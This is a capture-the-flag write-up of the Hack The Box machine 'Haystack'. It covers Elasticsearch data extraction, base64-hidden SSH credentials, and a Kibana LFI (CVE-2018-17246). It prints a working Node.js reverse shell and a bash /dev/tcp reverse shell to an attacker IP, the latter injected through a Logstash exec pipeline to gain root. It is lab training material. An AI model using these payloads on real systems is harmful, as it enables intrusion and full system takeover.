Haystack
This was my first HTB challenge, and funny coincidence, at work I was in a project involving the same product used on this machine.
Contents
Ports enumeration
root@kali:~/HTB/Haystack# nmap -sC -sV 10.10.10.115 -o nmap.txt # Nmap 7.80 scan initiated Fri Nov 1 05:19:07 2019 as: nmap -sC -sV -o nmap.txt 10.10.10.115 Nmap scan report for 10.10.10.115 Host is up (0.051s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA) | 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA) |_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519) 80/tcp open http nginx 1.12.2 |_http-server-header: nginx/1.12.2 |_http-title: Site doesn't have a title (text/html). 9200/tcp open http nginx 1.12.2 | http-methods: |_ Potentially risky methods: DELETE |_http-server-header: nginx/1.12.2 |_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Nov 1 05:19:27 2019 -- 1 IP address (1 host up) scanned in 19.91 seconds
Web Server (port 80)
root@kali:~/HTB/Machines/Haystack# curl haystack > port80.html
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 55 100 55 0 0 1486 0 --:--:-- --:--:-- --:--:-- 1486
root@kali:~/HTB/Machines/Haystack# cat port80.html
<html>
<body>
<img src="needle.jpg" />
</body>
</html>
The web page does not seem to give us too much information.
root@kali:~/HTB/Machines/Haystack# curl http://haystack/needle.jpg --output needle.jpg % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 178k 100 178k 0 0 1786k 0 --:--:-- --:--:-- --:--:-- 1804k
We try to see if there is hidden information inside the image.
root@kali:~/HTB/Machines/Haystack# strings needle.jpg
JFIF
Exif
paint.net 4.1.1
UNICODE
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
sc,x
O9 x?
Lg9$
...
BN2I
,'*'
I$f2/<-iy
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
The last line seems to be base 64.
root@kali:~/HTB/Machines/Haystack# echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d
la aguja en el pajar es "clave"
I guess this hint should be useful.
Dirb does not give us usefull information.
root@kali:~/HTB/Haystack# dirb http://10.10.10.115 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Fri Nov 1 05:59:30 2019 URL_BASE: http://10.10.10.115/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt -----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.115/ ---- + http://10.10.10.115/index.html (CODE:200|SIZE:55)
----------------- END_TIME: Fri Nov 1 06:03:44 2019 DOWNLOADED: 4612 - FOUND: 1
Elasticsearch Port 9200
The port 9200 respond with a Json application Elasticsearch version 6.4.2
root@kali:~/HTB/Machines/Haystack# curl haystack:9200
{
"name" : "iQEYHgS",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg",
"version" : {
"number" : "6.4.2",
"build_flavor" : "default",
"build_type" : "rpm",
"build_hash" : "04711c2",
"build_date" : "2018-09-26T13:34:09.098244Z",
"build_snapshot" : false,
"lucene_version" : "7.4.0",
"minimum_wire_compatibility_version" : "5.6.0",
"minimum_index_compatibility_version" : "5.0.0"
},
"tagline" : "You Know, for Search"
}
We list indices:
root@kali:~/HTB/Machines/Haystack# curl -X GET "haystack:9200/_cat/indices?v" health status index uuid pri rep docs.count docs.deleted store.size pri.store.size green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
Indices structure
Quotes index structure:
root@kali:~/HTB/Machines/Haystack# curl "haystack:9200/quotes?pretty"
{
"quotes" : {
"aliases" : { },
"mappings" : {
"quote" : {
"properties" : {
"quote" : {
"type" : "text",
"fields" : {
"keyword" : {
"type" : "keyword",
"ignore_above" : 256
}
}
}
}
}
},
"settings" : {
"index" : {
"creation_date" : "1549498467211",
"number_of_shards" : "5",
"number_of_replicas" : "1",
"uuid" : "ZG2D1IqkQNiNZmi2HRImnQ",
"version" : {
"created" : "6040299"
},
"provided_name" : "quotes"
}
}
}
}
Bank index structure:
root@kali:~/HTB/Machines/Haystack# curl "haystack:9200/bank?pretty"
{
"bank" : {
"aliases" : { },
"mappings" : {
"account" : {
"properties" : {
"account_number" : {
"type" : "long"
},
"address" : {
"type" : "text",
"fields" : {
"keyword" : {
"type" : "keyword",
"ignore_above" : 256
}
}
},
"age" : {
"type" : "long"
},
"balance" : {
"type" : "long"
},
"city" : {
"type" : "text",
"fields" : {
"keyword" : {
"type" : "keyword",
"ignore_above" : 256
}
}
},
"email" : {
"type" : "text",
"fields" : {
"keyword" : {
"type" : "keyword",
"ignore_above" : 256
}
}
},
"employer" : {
"type" : "text",
"fields" : {
"keyword" : {
"type" : "keyword",
"ignore_above" : 256
}
}
},
"firstname" : {
"type" : "text",
"fields" : {
"keyword" : {
"type" : "keyword",
"ignore_above" : 256
}
}
},
"gender" : {
"type" : "text",
"fields" : {
"keyword" : {
"type" : "keyword",
"ignore_above" : 256
}
}
},
"lastname" : {
"type" : "text",
"fields" : {
"keyword" : {
"type" : "keyword",
"ignore_above" : 256
}
}
},
"state" : {
"type" : "text",
"fields" : {
"keyword" : {
"type" : "keyword",
"ignore_above" : 256
}
}
}
}
}
},
"settings" : {
"index" : {
"creation_date" : "1549498442094",
"number_of_shards" : "5",
"number_of_replicas" : "1",
"uuid" : "eSVpNfCfREyYoVigNWcrMw",
"version" : {
"created" : "6040299"
},
"provided_name" : "bank"
}
}
}
}
Databases download
We create a script to download the 253 quotes.
root@kali:~/HTB/Machines/Haystack# cat downloadquotes.sh #!/bin/bash
i=1 while [ $i -lt 254 ] do echo $i curl -X GET "haystack:9200/quotes/quote/$i?pretty" >> quotes.txt i=`expr $i + 1 ` done
And a second to download the 1000 accounts.
root@kali:~/HTB/Machines/Haystack# cat downloadbank.sh #!/bin/bash
i=1 while [ $i -lt 1001 ] do echo $i curl -X GET "haystack:9200/bank/account/$i?pretty" >> bank.txt i=`expr $i + 1 ` done
Find the needle in the haystack
After a long reading of bank.txt and quotes.txt, I found the following text:
{
"_index" : "quotes",
"_type" : "quote",
"_id" : "45",
"_version" : 1,
"found" : true,
"_source" : {
"quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
}
}
And a second "quote"
{
"_index" : "quotes",
"_type" : "quote",
"_id" : "111",
"_version" : 1,
"found" : true,
"_source" : {
"quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
}
}
A better way to find the "needle" rather than read the full database is to use the "hint" on the image, and run a search with the keyword "clave".
root@kali:~/HTB/Machines/Haystack# curl -X GET "haystack:9200/_search?pretty" -H 'Content-Type: application/json' -d'
{
"query": {
"match" : {
"quote" : {
"query" : "clave"
}
}
}
}
'
{
"took" : 50,
"timed_out" : false,
"_shards" : {
"total" : 11,
"successful" : 11,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : 2,
"max_score" : 5.9335938,
"hits" : [
{
"_index" : "quotes",
"_type" : "quote",
"_id" : "45",
"_score" : 5.9335938,
"_source" : {
"quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
}
},
{
"_index" : "quotes",
"_type" : "quote",
"_id" : "111",
"_score" : 5.3459888,
"_source" : {
"quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
}
}
]
}
}
We take a look at the base 64 text
root@kali:~/HTB/Haystack# echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d pass: spanish.is.key root@kali:~/HTB/Haystack# echo "dXNlcjogc2VjdXJpdHkg" | base64 -d user: security
User Flag
root@kali:~/HTB/Machines/Haystack# ssh security@haystack The authenticity of host 'haystack (10.10.10.115)' can't be established. ECDSA key fingerprint is SHA256:ihn2fPA4jrn1hytN0y9Z3vKpIKuL4YYe3yuESD76JeA. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'haystack,10.10.10.115' (ECDSA) to the list of known hosts. security@haystack's password: Last login: Wed Feb 6 20:53:59 2019 from 192.168.2.154 [security@haystack ~]$ cat user.txt <USER_FLAG>
Lateral movement
If we take a look at running processes:
- elasticsearch user
[security@haystack ~]$ ps -ef | grep elastic elastic+ 7251 1 0 09:57 ? 00:04:32 /bin/java -Xms1g -Xmx1g -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+AlwaysPreTouch -Xss1m -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djna.nosys=true -XX:-OmitStackTraceInFastThrow -Dio.netty.noUnsafe=true -Dio.netty.noKeySetOptimization=true -Dio.netty.recycler.maxCapacityPerThread=0 -Dlog4j.shutdownHookEnabled=false -Dlog4j2.disable.jmx=true -Djava.io.tmpdir=/tmp/elasticsearch.gQHh9XGA -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/lib/elasticsearch -XX:ErrorFile=/var/log/elasticsearch/hs_err_pid%p.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -Xloggc:/var/log/elasticsearch/gc.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=32 -XX:GCLogFileSize=64m -Des.path.home=/usr/share/elasticsearch -Des.path.conf=/etc/elasticsearch -Des.distribution.flavor=default -Des.distribution.type=rpm -cp /usr/share/elasticsearch/lib/* org.elasticsearch.bootstrap.Elasticsearch -p /var/run/elasticsearch/elasticsearch.pid --quiet elastic+ 15676 7251 0 09:58 ? 00:00:00 /usr/share/elasticsearch/modules/x-pack-ml/platform/linux-x86_64/bin/controller
- kibana user
[security@haystack ~]$ ps -ef | grep kibana
kibana 6411 1 0 09:57 ? 00:01:50 /usr/share/kibana/bin/../node/bin/node --no-warnings /usr/share/kibana/bin/../src/cli -c /etc/kibana/kibana.yml
- logstash
[security@haystack ~]$ ps -ef | grep logstash
root 6417 1 0 09:57 ? 00:04:25 /bin/java -Xms500m -Xmx500m -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:/dev/urandom -cp /usr/share/logstash/logstash-core/lib/jars/animal-sniffer-annotations-1.14.jar:/usr/share/logstash/logstash-core/lib/jars/commons-codec-1.11.jar:/usr/share/logstash/logstash-core/lib/jars/commons-compiler-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/error_prone_annotations-2.0.18.jar:/usr/share/logstash/logstash-core/lib/jars/google-java-format-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/gradle-license-report-0.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/guava-22.0.jar:/usr/share/logstash/logstash-core/lib/jars/j2objc-annotations-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-annotations-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-core-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-databind-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-dataformat-cbor-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/janino-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/jruby-complete-9.1.13.0.jar:/usr/share/logstash/logstash-core/lib/jars/jsr305-1.3.9.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-api-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-core-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-slf4j-impl-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/logstash-core.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.commands-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.contenttype-3.4.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.expressions-3.4.300.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.filesystem-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.jobs-3.5.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.resources-3.7.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.runtime-3.7.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.app-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.common-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.preferences-3.4.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.registry-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.jdt.core-3.10.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.osgi-3.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.text-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash --path.settings /etc/logstash
Logstash is running with user root. But after some search we find a Kibana vulnerability.
Kibana LFI
CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
Kibana version is 6.4.2, so this version should be vulnerable at the LFI.
[security@haystack ~]$ cat /usr/share/kibana/package.json
{
"name": "kibana",
"description": "Kibana is an open source (Apache Licensed), browser based analytics and search dashboard for Elasticsearch. Kibana is a snap to setup and start using. Kibana strives to be easy to get started with, while also being flexible and powerful, just like Elasticsearch.",
"keywords": [
"kibana",
"elasticsearch",
"logstash",
"analytics",
"visualizations",
"dashboards",
"dashboarding"
],
"version": "6.4.2",
"branch": "6.4",
"build": {
"number": 18010,
"sha": "33b5de37d73763319101b4ed11a6bd44f6ea03b5",
"distributable": true
},
"repository": {
"type": "git",
"url": "https://github.com/elastic/kibana.git"
},
"engines": {
"node": "8.11.4"
}
}
Looking at Kibana configuration, we find the listening port on localhost.
[security@haystack ~]$ cat /etc/kibana/kibana.yml | grep -v "#" | grep -v "^$" server.port: 5601 server.host: "127.0.0.1" elasticsearch.url: "http://localhost:9200"
Another way to find listening ports is using the ss command (because netstat isn't available).
[security@haystack ~]$ ss -4ln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 127.0.0.1:323 *:*
tcp LISTEN 0 128 *:80 *:*
tcp LISTEN 0 128 *:9200 *:*
tcp LISTEN 0 128 *:22 *:*
tcp LISTEN 0 128 127.0.0.1:5601 *:*
Javascript reverse shell
[security@haystack ~]$ cd /tmp/
[security@haystack tmp]$ vi shell.js
[security@haystack tmp]$ cat shell.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "10.10.14.34", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
Run listening netcat
root@kali:~/HTB/Machines/Haystack# nc -lvnp 1337 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337
Run LFI
[security@haystack tmp]$ curl -X GET "http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/shell.js"
The reverse shell is opened :)
root@kali:~/HTB/Machines/Haystack# nc -lvnp 1337 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 Ncat: Connection from 10.10.10.115. Ncat: Connection from 10.10.10.115:49098. whoami kibana python -c 'import pty; pty.spawn("/bin/bash")' bash-4.2$ <CTRL Z> [1]+ Stopped nc -lvnp 1337 root@kali:~/HTB/Machines/Haystack# stty rows 24 columns 80 root@kali:~/HTB/Machines/Haystack# stty raw -echo root@kali:~/HTB/Machines/Haystack# fg nc -lvnp 1337 export TERM=screen bash-4.2$
User escalation
From user Kibana, we need to escalate to user root using logstash.
Logstash configuration files
bash-4.2$ cd /etc/logstash/ bash-4.2$ cat pipelines.yml | grep -v "#" | grep -v "^$" - pipeline.id: main path.config: "/etc/logstash/conf.d/*.conf" bash-4.2$ cd conf.d/ bash-4.2$ cat input.conf input { file { path => "/opt/kibana/logstash_*" start_position => "beginning" sincedb_path => "/dev/null" stat_interval => "10 second" type => "execute" mode => "read" } } bash-4.2$ cat filter.conf filter { if [type] == "execute" { grok { match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" } } } } bash-4.2$ cat output.conf output { if [type] == "execute" { stdout { codec => json } exec { command => "%{comando} &" } } }
Kibana debugger
We create a ssh tunnel to access Kibana console:
root@kali:~# ssh -L 5601:127.0.0.1:5601 security@haystack security@haystack's password: Last login: Sun Nov 10 18:17:27 2019 from 10.10.14.34 [security@haystack ~]$
With help of Kibana's debugger, we see that the input file needs to be:
Ejecutar commando: bash -i >& /dev/tcp/10.10.14.34/8888 0>&1
Run listening netcat
root@kali:~/HTB/Machines/Haystack# nc -lvnp 8888 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::8888 Ncat: Listening on 0.0.0.0:8888
Create file
bash-4.2$ echo "Ejecutar comando : bash -i >& /dev/tcp/10.10.14.34/8888 0>&1" > /opt/kibana/logstash_rs bash-4.2$ cat /opt/kibana/logstash_rs Ejecutar comando : bash -i >& /dev/tcp/10.10.14.34/8888 0>&1
After a few second (even if it seems minutes), the reverse shell is opened :)
root@kali:~# nc -lvnp 8888 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::8888 Ncat: Listening on 0.0.0.0:8888 Ncat: Connection from 10.10.10.115. Ncat: Connection from 10.10.10.115:39686. bash: no hay control de trabajos en este shell [root@haystack /]# whoami whoami root
Root flag
[root@haystack /]# cat /root/root.txt <ROOT FLAG>
References
- ElasticSearch Commands Cheat Sheet
- Match query
- CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
- Reverse Shell Cheat Sheet
Daniel Simao 07:39, 10 November 2019 (EST)

